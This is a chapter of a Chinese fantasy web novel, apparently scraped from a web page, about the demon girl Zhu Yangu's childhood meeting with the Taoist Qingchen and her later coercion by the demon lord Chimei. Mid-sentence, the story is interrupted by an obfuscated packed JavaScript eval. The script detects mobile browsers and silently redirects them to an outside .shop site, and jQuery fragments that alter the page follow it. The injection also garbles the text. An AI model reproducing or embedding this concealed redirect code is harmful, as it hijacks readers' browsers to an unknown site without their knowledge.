细碎的幼年时光一闪而过,朱颜故五岁那年,两段记忆的主人终于迎来他们的第一场相逢。
记得上场轮回中,朱颜故称自己初遇轻尘,是因偷跑入人界游玩,被修士所伤。
而原本记忆里,葵花宫的王上并非舒扬舟,没了好父亲的庇护,她日子过得相当艰难,是为了不挨打才躲入人界的。
说来惭愧,其中欺凌她最狠的恶妖便是谢扶光当前的身份——葵花宫的大公主。
巧合的是,那打伤她的修士也正是崔惊厄的身份——明镜台三弟子,轻尘的师弟。
轻尘入师门很早,师弟们年纪多不及他大,遇到朱颜故那年,他不过也只有十岁。
因少时与醉鬼父亲生活的经历,轻尘少年老成,很会照顾人,他不仅给朱颜故输了灵力,还为她医好了身上外伤。
幼年的朱颜故不是那种讨人喜欢的小太阳,做不到置身逆境仍满心乐观,被救醒后她也没有说谢谢,整个人把丧气大写在脸上,仿佛下一句就要脱口“老娘早活够了,要你救个鬼?”
被生活磋磨的忧郁与她洋娃娃似的稚嫩脸庞相当违和,看起来有些滑稽,十岁的轻尘没忍住,噗嗤就笑了一声。
朱颜故被人嘲笑惯了,恹恹垂着眸子没什么反应。
倒是轻尘轻咳两声,正了正神色:“抱歉,是我失礼。”
真稀奇,朱颜故头回看见对她失礼后还会说抱歉的活物,不由打量他一眼。
见她看来,轻尘问:“我见姑娘情绪不太好,是有什么难处么?”
打骂朱颜故早已习惯,这轻飘飘一句询问,竟勾起她满心委屈。到底是个五岁小姑娘,她嘴一咧,当即就嚎了出来,攒了五年的大鼻涕直往轻尘雪白袖口上蹭:“妈蛋!活着就特么烦死了,天天挨一群杂碎的打!”
儒雅小半生的轻尘道长被这粗鲁做派整不会了,足足怔愣好一会儿,才从怀里掏出锦帕,为朱颜故拭去眼泪和鼻涕:“姑娘家要……斯文。”
可能是他这模样太呆,正哭得起劲儿的朱颜故噗嗤一乐,冒了个硕大的鼻涕泡儿。
轻尘见她笑了,也跟着勾了勾唇角,这厮大概天生是普度众生的命,半点不嫌弃地又把那颗破了的鼻涕泡为小朱颜故拭去,而后端起道长架子教育道:“你会受欺负,是因为不够强大,与其自怨自艾,不如努力修炼自己,成长为厉害的大人。”
他一通谆谆教诲没有白费,朱颜故还真听进去了,她接过锦帕,身体力行贯彻:强大从自己擦鼻涕做起。
把漂亮的小脸弄干净后,她仰起头问:“你是好人,我喜欢你,等我强大以后,可以去找你么?”
轻尘点点头:“我叫轻尘,就在明镜台修道,欢迎你来找我,我们一起除恶诛邪。”
轮回境中诸事脉络基本会遵循现实轨迹,而因外人外力进入,许多前提发生改变,结果却仍是原来那样,时常会显得不太有逻辑。
譬如朱颜故无端想要修道,又譬如螭寐突然的针对,都毫无根据地发生了。
而看过朱颜故的真实记忆,一切便都有了解释。
与轻尘意外的初遇,便是朱颜故踏上修道这条路的起点。
轻尘灵骨奇绝,朱颜故亦堪称妖中的修道圣体,天生双茎的“残疾”令她能自如流转灵力与妖力,轻尘传给她的灵力意外在她体内贮存起来,随修道日久,还能不断增长。
每年与轻尘初遇的日子,朱颜故都会去鹧鸪山脚转上一圈,只因鹧鸪山上有个明镜台,而明镜台中有个与她有约的呆子道长。
发现自己能灵活转化灵力与妖力是在第七个初遇纪念日,彼时的朱颜故于修道上已小有所成,不仅不会再挨欺负,还能为其他受欺负的小妖伸张正义,偶尔兴致起来,去到人界除个恶诛个邪,旁人问她名号,她都称是明镜台轻尘道长的朋友,日子过得还算快哉。
未承想福兮祸所伏,灵力与妖力的灵活转化竟成了日后灾祸的温床。
起因还是她的大姐——谢扶光扮演的那位大公主。
这大公主不知怎的,就见不得自家二妹好,一心揪她错处。某日跟踪途中她发现朱颜故能制灵活转化灵气与妖气的丹药,告诉给父王,而父王日渐年迈,早已不管事,真打起来甚至不一定能从朱颜故身上讨到好处,她一计不成,遂打了个更大的主意。
不知她如何周转,让朱颜故制特种丹药频频出妖魔界的事传入了螭寐身边某个狗腿子耳中,按时间推算,彼时螭寐应正盘算着剥魂夺壳、让麾下魔兵扮作弟子混入修界一事,传言此刻流入耳中,无异打瞌睡有人递枕头。
真正的葵花宫王上远不似舒扬舟这般善战,趁朱颜故又一次顶着轻尘朋友的名号出界当侠女,螭寐不过派出一队魔兵,就生擒了没用的葵花妖全族。
朱颜故自幼饱受恶待,无论对父母还是兄弟姊妹都没什么感情,但葵花妖一族不只有一个葵花宫,其下更多的则是本本分分过日子的无辜百姓。他们比她的父王母后与兄姊们要善良,也更苦命。
她终究是没能放下,让螭寐拥有了牵制她的筹码。
道德的崩塌通常不在轰然之间,而是底线一寸寸的下降。
一开始,螭寐只说看中了她的丹药,想要她多炼制一批供给他使用,他甚至允诺朱颜故会给她许多好处,表情语气都好不和善。
朱颜故自然对所谓“好处”并不贪慕,唯一的要求是放掉她的族人。当然,她那位大姐可以任由螭寐处置,毕竟她自认不是圣母,这些年一忍再忍,早已厌烦。
螭寐不是什么好东西,这点朱颜故自然知道,可她被架在了族人与道义之间,若只是炼制丹药,似乎还可以接受,况且那丹药持续效力有限,待族人被放出来后提醒修界加强防控,应当就不会有什么太大问题。
至于可能的风险,她不愿也不敢去想。
就这样,她一边一遍遍宽慰自己不会出事,事情总能够解决,一边为螭寐炼制了一批丹药。
也正是在这期间,她发现自己道心开始不纯,无法修炼了。轻尘的灵力淌在她一根花茎里,随着使用越来越少,再不会增长分毫。
彼时的朱颜故还太年轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306597|133453||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,与她在第一场轮回中死去时一样大,从小到大,从没人教过她,与螭寐这等大魔头做交易,是没有终结的,只有越陷越深与一死解脱的分别。
第一批丹药不多,朱颜故称自己体内灵力已然枯竭,再炼不出丹药了。
可螭寐没有轻易放过她,他看着她,嘴角挂着慈祥的微笑,声音温和:“阿葵,你之前能有,以后便依然能有,本尊相信你,可以为了你的族人,去修界再抢些灵力来。”
朱颜故开始感到不妙。
“我从没想过要伤人。”她再次强调,“丹药我只能拿出这么多,不够的话我也没办法了。”
螭寐嘴角弧度放大,轻快地拍了拍手,掌心相击发出清脆悦耳的声音。
手下魔兵闻声将一男童拖入大殿,男童只四五岁大,与她初遇轻尘时一般年岁,哭声里带着磨人的刺。
“真吵啊……”
螭寐看着朱颜故,突然歪了一下头,但听“咯嘣”一声,哭声停止,男童的头软绵绵的耷拉下来,脖子断的彻底。
“阿葵,若我是你的族人,一定会劝你好好再想想。”
朱颜故心火沸腾,烧得眼底猩红,她捏紧拳头,不管不顾冲上前,然而螭寐没给她壮烈成仁的机会。仿佛只是打发一只蝼蚁,他很随意地挥一挥手,一缕黑气缠上朱颜故身体,火噬般的痛意席卷全身,朱颜故痛苦张口,喉咙却被那黑气钳着,连声都发不出。
欣赏她挣扎了一会儿,螭寐撤掉黑气,虚伪地抱歉道:“你看,你不配合我,闹得多难看。”
“我奉劝你,珍惜你的小命,不然我这么看重你,怎么舍得你在阴曹地府孤独,定要让你的全部族人一道陪你去的。”
出了螭寐的魔尊殿,她走了很久很久,路过从前修道时最喜欢待的那片湖,坐在湖畔一块巨石上,蓦地就笑出了声。
难怪妖魔界中生灵修道,鲜少能有所成。
她从前也真是傻,竟还妄想过修成仙骨,赴与轻尘那个虚无缥缈、或许只她一人记得的约。
妖魔界乃没有公理与法治之地,这样的地方,想留住一颗善心,实在太难了。
尸山血海里的王不放过你,你就真的什么办法都没有,甚至无法做主自己的命。
取灵力容易,但跨过心里那道坎很难,朱颜故头一回想要出手,就没能成功。
她从前帮百姓诛邪时,抛头露面的次数不少,她失魂落魄行在路上,被一位大娘叫破身份。
“哎呀,这不是轻尘那位朋友嘛!”大娘热情招呼,还当她也是山上的修士,“又下山帮忙啊?咱南远洲真是多亏你们这些修士了……”
朱颜故心里一刺,选择否认:“我不是,大娘,我不认识什么轻尘,您大概是认错人了。”
“啊?可你长得分明……”大娘有点懵,眯起眼仔细辨认。
朱颜故低头一笑,避开她的视线。
“真的认错了,我叫朱颜故。”
从此世间已无阿葵。
血染向阳心,雪覆来时路,但看囫囵身,仅剩朱颜故。